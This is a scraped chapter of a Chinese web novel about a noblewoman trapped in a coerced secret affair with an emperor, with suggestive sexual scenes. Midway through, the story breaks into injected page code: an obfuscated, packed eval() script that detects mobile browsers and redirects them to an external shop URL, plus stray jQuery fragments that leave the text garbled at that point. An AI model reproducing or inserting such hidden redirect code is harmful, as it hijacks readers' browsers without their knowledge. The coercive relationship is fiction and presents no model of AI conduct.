24. 周旋!
作品:《夺臣妻》 离去前,沈星澜踟蹰许久,还是硬着头皮开了口:“我近日频繁出入金丝阁,门房和车夫都有些侧目,能否……”
她犹豫了回还是将“少见面”改为”换个地方“。
李骜渊有些惊讶地挑了挑眉,倒是难得见她露出这幅伏低做小的恳求姿态,他玩笑道:“那,去我的府邸?”
她立时变了面色,难堪地抬头看了他一眼,眼角还带着泪痕,目光有些委屈,凄婉哀切。
内心深处好似有冻土化开,不知何时洒下的种子悄然冒头。
他伸手为她拨开额角的碎发,指尖又落到她蹙起的眉头,轻轻按揉着,语气是少见的温柔:“好了,我会安排的,不必担心,不会让你被人发现的。”
一直看着那道袅娜的背影消失在廊道尽头,他方缓缓收回视线,转了转手上的白玉扳指,上面似还残留着她身上的气味。
立在一旁的赵胜躬着身,不动声色地觑着他的神色,越发拿捏不准他对这位臣妻的心思。
前两日,李骜渊便收到了侯府探子的密报,知晓了李萱想给谢景明添通房一事,她和沈星澜是屏退左右聊的这事,探子无法探听二人具体聊了什么内容,越是这般小心翼翼,就越是有猫腻。
李骜渊立时察觉其中有他不知之事,又派出探子将沈府和永定侯皆重新查了一遍,果真让他查出些新东西。
其实事情到这里,赵胜便察觉出有些不寻常的意味,两人虽是暗中往来上不得台面,但毕竟是这位主子的第一个女人,男人对第一个女人总归是有些不同的,但李骜渊上回冷淡的态度,又令他觉得不过是逢场作戏,一段露水情缘罢了。
可他却派人将永定侯府盯得跟铁通一般,一丝一毫的动静都不放过,但凡察觉些许不对便查了又查,甚至出动大量的暗卫密探。
方才两人临别前,李骜渊温柔的语气和动作,几乎要惊掉他的下巴,便是年幼时对着太后,他也从未表现过这般柔软的一面。
这位年轻的帝王并其实非冷峻不苟言笑之人,相反,他面上总是挂着闲适的笑意,初时,总会给人好亲近的错觉,但他嘴角那抹笑意,却是不及眼底的,本质上,还是个不近人情之人。
不料有一日,竟能看到他露出这番神情,同一个陷入情爱中的寻常男子没什么两样。
赵胜心中的算盘又拨弄了起来。
“看够没?”带着凉意的声音在耳旁乍然响起。
赵胜心虚地垂下头,不敢说话。
李骜渊已面色如常,并不计较他的逾矩,冷声吩咐道:“再去寻一两个隐蔽之处,要京中贵妇时常出入的,安排好后再派人去侯府通知。”
赵胜自是领命应下。
永宁侯府,和春院净房中,青萝惊骇地看着沈星澜满身的青紫痕迹,眼圈立时红了。
沈星澜浑身酸痛,仰头靠在浴桶边沿,疲惫地问她:“上次崴脚用的药酒可有剩下的?”
“有的。”青萝抹掉眼角沁出的泪珠,去外间取来药酒,给沈星澜擦干身子后,便仔细地给她涂抹推揉起来,药酒本就剩下不多,她身上却有大片淤紫,主要都集中在腰臀一带。
青萝一言不发地抿嘴擦药,药酒已经用尽,她还是用力地将瓷瓶口砸向手心,意图再倒出一些药酒。
沈星澜阻止了她近乎自残的动作,将月白寝衣仔细拢好,不露出一丝痕迹。
今日虽比以往更为惨烈,她为自己的冲动付出了代价,但也并非一无所获。
她好像有些明白该如何应对那人了。
他是个吃软不吃硬的主,床榻之外,若是她服软恳求,再流些许泪珠,他便愿稍稍退步,给她些许喘息的空间,可若是床榻之间,却只会引得他变本加厉。
普天之下莫非王土,率土之滨莫非王臣,从前不知他的身份,与他硬碰硬,纯粹是自讨苦吃,以卵击石。
沈星澜盯着纤白食指上戴着的鸽血红戒指,思绪越发清晰,假意屈从,再伺机而动,方是上上之策。
不过五日,寄月便又来告知那人相邀,只是这回,地点改为了樊楼。
樊楼是京中最有名的酒楼,日常宾客满座,贵客云集,是权贵日常出入宴饮之所,世家贵妇小姐也有三两相邀于包间厢房内吃酒用膳,她出现与在此处,便是待上三两个时辰,也并不引人注意。
只是,若说金丝阁这名字是巧合,樊楼却像是那人刻意为之。
樊楼,樊笼,又是将她当做鸟雀一般戏弄。
接下来的时日,沈星澜每五六日便要去一趟樊楼用膳,每半个月便去金丝阁采买,因是外出无需向任何人禀报,她便偶尔一两次同李萱闲聊时谈起,今日出门买到什么好玩的,吃到什么好吃的,以免来日门房处说起,叫她措手不及。
期间沈星澜来了回月事,许是没有再用寒凉的药物,青萝日常又格外注意为她保养,这回小腹只是隐隐作痛,尚可忍耐,当青萝再端着老大夫开的汤药给她时,沈星澜拒绝了。
在她摆脱那人之前,她的身体调养的太好,未必是件好事。
如今他停了避子汤药,她又不能擅自去药铺买,便是差使青萝,也足以令人生疑,若是还不停地调养身子,一朝有孕,她几乎不敢想,那时该如何收场,恐怕,这世间便再无她的活路了。
一个不受夫君喜欢,又红杏出墙怀上野种的妻子,沈星澜深深呼了口气,不敢去想,那时谢景明会用怎样嫌恶的眼神看她,自己又该如何承受世人的唾骂和异样的眼光。
小腹传来的阵阵痛意,她却觉得有几分安心,只要她子嗣艰难,那般可怕的情形便不会出现,如今每一回出府,她皆是战战兢兢,如履薄冰,深怕有人暗中窥伺,发现她的不轨之举,她绝不能让事态恶化下去。
大概是她近来表现的乖顺服从,刻意讨好,李骜渊今日送的首饰衣裳,下回见面她便穿戴上,而李骜渊因着上那回将人磋磨得崩溃大哭一事,近来也不再说些浪荡之语羞辱她,两人每每相处一室,气氛暧昧地私语两句,便被他带到榻上,男欢女爱,一个温柔厮磨,一个婉转承欢,竟也有些恩爱缠绵的意味。
夏荷已尽,酷暑已消,樊楼包间内,残阳斜斜地撒进来,照在二人交叠纠缠的身影上,男子的麦色肌肉紧绷,女子纤细玉藕般的手臂虚虚地挂在男子肩头,随着床榻愈发激烈的摇晃,青葱般的指尖深深陷入开阔的背脊中。
云消雨散,李骜渊扶起瘫软如水的娇儿,将茶水递到她唇边,看着她无力地娇喘着,眼眸未睁开,小鸟般倚靠在他怀中,嘴角不自觉挂起浅浅笑意。
将饮尽的茶盏放置一旁小几上,李骜渊并未放下怀里的娇儿,伸手拨开她脸颊边汗湿的青丝,指尖一点点向下,轻抚他留下的点点粉色痕迹,爱不释手,这皆是他的战绩。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178492|196343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“这回中秋宫宴,总不会又推拒不来吧?”安静的榻间,他陡然发问。
沈星澜心中一惊,身子也轻颤了一下,两人紧贴着,没有丝毫的间隙,李骜渊自是察觉,大手抚上她单薄的脊背,轻轻拍抚。
居然已到了中秋,她睁开眼,已压下心中波澜,问他:“大人也会去吗?”
“自然。”
沈星澜不明,二人若是在宫宴上相会,她自是会知道他的身份,他是想让她知道?想让他的身份,在她这过了明路?
李骜渊自是知道她在想什么,他并不担心,他不想教她知道,自是有诸多法子的,他只含笑道:“夫人可一定要来。”
在众人的眼皮底下私会,在宫宴上,在他的皇城中,李骜渊只是略微一想,便觉得心神荡漾,浑身滚烫,可惜今日已做了两回,若是再来一遭,怕她便无力回府了,只能作罢。
八月十五这日午后,永定侯府外,两辆华贵的马车正静候着。
沈星澜遥望着马车下候着的锦衣男子,他抬眼看来,二人的视线在隔空相撞,沈星澜微微屈膝向他行礼,敛神低眉向他走去。
“母亲已经先上了前边那辆马车,你同我一起乘这辆马车可好?”他柔声询问。
沈星澜有些无措地点了点头,眼尾扫过他伸出的宽厚手掌,似想要搀扶她上马车。
她佯装没看到,扶着青萝的手上了马车,在角落坐下。
谢景明上车后见她避如蛇蝎的模样,苦涩一笑:“星澜,你我是夫妻,你离我这般远,是怕我吃了你吗?”
“侯爷说笑了。”她敷衍地回应道,并没有向他挪动半步。
近些时日,他忙于兵部公务,她也好似刻意躲避,明明同在一个屋檐下,却也能有多日未见,即便在给母亲请安时偶遇,她也会借口快步离开,察觉到她回避之意,谢景明落寞地垂下眼,两人一路无话,只余车轮滚滚声。
好在永定侯府离宫城极近,两人在宫门口处分道扬镳,谢景明要去勤政殿同陛下商讨政务,而沈星澜则随李萱拜见太后。
慈宁宫正殿,满屋的命妇贵女端坐在太后下方,珠翠环绕,华服炫目,沈星澜低头行过礼,在远离主座不起眼处坐下,简单扫视一圈,并未看到李蓉和沈昭玥,心中虽然有些奇怪,但也松快了些。
太后本就对她平平,如今人一多,越发注意不到她,沈星澜倒也乐得自在,趁众人闲聊之际,仔细琢磨起太后的相貌打扮,忽然发觉脚下有温热扫过,她心下一惊,连忙低头去瞧,落入一双琥珀瞳孔中。
原来是太后养的那只雪白的波斯猫,看着它蓬松柔软的大尾巴,她忍不住伸手摸了摸,一抬眼便见太后正定定看着她的方向,也不知是在看她,还是在看猫。
沈星澜心下一凛,连忙收回手不敢再妄动。
好不容易撑到太阳西斜,众人纷纷起身前往保和殿,准备入席。
沈星澜将将坐定,青萝立在她身后,正悄无声息地为她揉捏后腰,方才在太后宫中端坐许久,真是半刻也不敢放松,好不容易在开席前能松快会,便有一脸生的宫女上前来,说是太后寻她单独说话。
李萱闻言侧目,有些惊讶太后竟然会主动宣她,有些欣慰地笑道:“即是太后宣你,你便快去吧,别误了开席。”
沈星澜笑容勉强,点头应是,带着青萝起身随宫女离席而去。

